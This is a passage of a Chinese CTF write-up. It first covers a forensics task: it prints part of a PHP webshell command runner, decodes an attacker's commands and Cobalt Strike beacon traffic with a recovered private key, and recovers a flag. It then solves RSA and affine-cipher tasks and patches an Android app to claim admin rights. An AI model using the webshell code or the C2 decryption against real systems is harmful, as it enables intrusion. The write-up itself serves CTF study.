            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print $ret;
        } else {
            $ret = 127;
        }
        return $ret;
    }
    $ret = @runcmd($r . " 2>&1");
    print $ret != 0 ? "ret={$ret}" : "";
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}
asoutput();
die;

主要的代码就是$p = base64_decode(substr($_POST["f861d394170244"], 2));$s = base64_decode(substr($_POST["ufbd335828f30f"], 2));$envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));这三句套娃读取,去掉前两位混淆然后直接解base64。

[

成功得到解压命令以及里面的密码。

cd /d "D:\\\\phpstudy_pro\\\\WWW\\\\secret"&"C:\\Program Files\\7-Zip\\7z.exe" x secret.zip -pP4Uk6qkh6Gvqwg3y&echo 378df2c234&cd&echo fb7f8f

所以压缩包密码就是P4Uk6qkh6Gvqwg3y

回去解压得到.cobaltstrike.beacon_keys

[

看着应该是cs的beacon模式密钥,所以下面大概就是cs的流量了。

向下翻一会,看到一个挺像beacon模式的流量。

[

尝试用网上的项目WBGlIl/CS_Decrypt去解码。

先把上面的cs的key给提取成rsa的。

[

公钥大概用不到,咱只要私钥就行。`

MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQhQwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysjNm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovIko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIilU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2lRXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/gUiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MGJqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZkAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0QF8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDILP0HzUR1/wk5ZFY=

然后去把cs流量的cookie头解一下元数据看看,成功拿到解cs收发数据用的aes密钥。

这里脚本问题比较大,M2Crypto早已停更不太好装,所以换成了密码学里比较常见的pycryptodome库,然后那个私钥模板开头多了个换行导致pycryptodome不识别(M2Crypto应该没这个问题),以及私钥的主体内容需要按标准的64位换行分隔一下。

[

import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump

PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
{}
-----END RSA PRIVATE KEY-----"""

encode_data = "bGOniQ5nfrSmAW9fgdZSCC+42t5xvQt+B4SVEu6Q8MvC4rPn/OThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNacCVF+8v/nj/Rv85fSD2Phfc/wsaAjld9Fy8ZJJKz1wPwPY6lTxArMGFtX7W+VW/gzujI="
base64_key = """MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQh
Qwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysj
Nm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9
nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovI
ko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIi
lU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2l
RXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/g
UiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MG
JqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7
iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH
6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZ
kAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0Q
F8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDI
LP0HzUR1/wk5ZFY="""

private_key = RSA.import_key(PRIVATE_KEY.format(base64_key).encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)

...

得到如下aes密钥:

AES key:7c83bf30a6ad2dc410040d33e1399cf6
HMAC key:a77945b3a56687a39f90683cb24d00c2

然后把刚才那个数据包的返回当作任务命令去解码。

[

好像啥都没有,那就去找最后一个类似的数据包(有返回长度的)

[

复制过来解码看看。

[

虽然识别的准确率不太行,但至少raw里面还是能看出执行了个type命令去读flag文件的。

那么只要找到执行后返回的数据就行。

因为cs的beacon模式返回是搞个定时任务去延期查询的,所以往下翻翻应该就能找到发送的数据中有被编码的结果数据。

而这题正好就在下一条数据包,直接用最后一个脚本解码。
[

[

成功拿到flag。

flag{787fc697-8773-4669-84ad-94f714e7df09}

Crtpto

RSA-1

这题的话,特征就M = 2021 * m * 1001 * p 这个比较怪,不过还算简单,明文里面带了因数p,那么就会造成密文c和n存在公因数p,所以取公一下p出了q也就出了,然后再把明文m重新除一下就完事。

from gmpy2 import *
from Crypto.Util.number import long_to_bytes as l2b

n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
e = 0x10001
c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676

p = gcd(n, c)
q = n / p
phi = (p-1)*(q-1)
d = invert(e, phi)
M = pow(c, d, n)
m = M / 2021 / 1001 / p
print l2b(m)

flag{Math_1s_1nterest1ng_hah}

[warmup]加密算法

这题的话,大致上就是搞类似于对称加密的自写加密协议,而且从映射(a*addr+b) % m来看可能是一一对应?所以先尝试搞个mapping出来,然后直接映射密文看看能不能搞出明文,结果一不小心直接出了...

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
def decode(cipher_text, a, b, m):
    # 搞个密文到明文的映射
    mapping = {}
    for i in range(len(str1)):
        mapping[(a * i + b) % m] = i
    # 先看看映射结果咋样
    plain_text = ''
    for i in cipher_text:
        if i in str1:
            addr = str1.find(i)
            plain_text += str1[mapping[addr]]
        else:
            plain_text += i
    print(plain_text)

decode('aoxL{XaaHKP_tHgwpc_hN_ToXnnht}', 37,23,52)

flag{AffInE_CIpheR_iS_clAssiC}

RSA2-PLUS

这题拿到题目,先一眼看出是把flag分成了俩无关的小套娃,所以当成两个rsa题单独解。

第一部分的话,是个原题,祥云杯和国外哪个比赛都出现过,直接套用原题脚本就行。

from gmpy2 import *
from Crypto.Util.number import GCD, inverse, long_to_bytes as l2b

def fermat_factorization(n):
    factor_list = []
    get_context().precision = 2048
    x = int(sqrt(n))
    # print(x)

    while True:
        x += 1
        y2 = x ** 2 - n
        if is_square(y2):
            # print('x = ',x)
            y2 = mpz(y2)
            get_context().precision = 2048
            y = int(sqrt(y2))
            factor_list.append([x+y, x-y])
        if len(factor_list) == 2:
            break
    return factor_list

n = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
e = 0x10001
c = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826

factor_list = fermat_factorization(n)
[X1, Y1] = factor_list[0]
[X2, Y2] = factor_list[1]
assert X1 * Y1 == n
assert X2 * Y2 == n

p1 = GCD(X1, X2)
p2 = X1 / p1
q1 = GCD(Y1, Y2)
q2 = Y1 / q1

phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
d = inverse(e, phi)
flag1 = l2b(pow(c, d, n))
print flag1

得到前半段flag{Euler_funct1ons

后半部分的话,给出了p+qp*q,所以解方程呗。

但是用sage解的时候,不知道为啥解出了俩非整数。

所以就老老实实化简下方程用求根公式了。

p2aq2 = 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
p2mq2 = 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
n = 40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
c = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647
e = 0x10001

get_context().precision=2048
p2 = int((p2aq2 + sqrt(p2aq2*p2aq2-p2mq2*4))/2)
q2 = int((p2aq2 - sqrt(p2aq2*p2aq2-p2mq2*4))/2)
assert is_prime(p2)
assert is_prime(q2)
assert p2+q2 == p2aq2
assert p2*q2 == p2mq2
assert p2*p2*q2*q2*q2 == n

这里需要注意的是p和q的值是可能需要互换的,因为后面又涉及到p*p*q*q*q,所以两个情况只有一种成立,所以上面断言了一下n防止解错情况了。

然后根据多项rsa的phi公式解出phi,就能当正常rsa题做了。

phi = p2*p2*(p2-1)*q2*q2*q2*(q2-1)
d = invert(e, phi)
flag2 = l2b(pow(c, d, n))
print flag2

得到后半部分_1s_very_interst1ng}

所以flag就出来了。

flag{Euler_funct1ons_1s_very_interst1ng}

创新技术

APP逆向-clockin

这题就是正常安卓逆向,感觉难度挺小的,那种搞app破解的脚本小子也能做。

先看看apk里有啥。

没有lib库,纯java实现,那难度应该不大,至少都是能暴力改包的。

其中的响应点击事件有个PunchCardActivity类,感觉是唯一跟题目相关的,跟过去看看。

开头有个not admin权限定义,值得注意,毕竟是远程题。

然后看函数调用链,还算比较浅的,没啥深入调用。

最后就msg是能存在远程交互的东西,也就是上面调用时的PunchCardActivity.this.permission,即刚才那个not admin

而下面的返回结果判断逻辑也简单,空的话就报个权限不足提示,非空就显示。

所以猜测改成admin就能行。

于是去手机上安装,但是安装失败了。

报了个[INSTALL_FAILED_TEST_ONLY: installPackageLI]的错,查了下是调试状态倒的包,要改掉调试标识。

删掉android:testOnly="true"之后,安装成功。

然后改下刚才猜测的not admin,改成admin

去app里试试,输入101.35.1.244:8080后点一下刷卡图片直接拿到flag。

flag{1cd8a8623acf512ea7a96c5305f1be9f}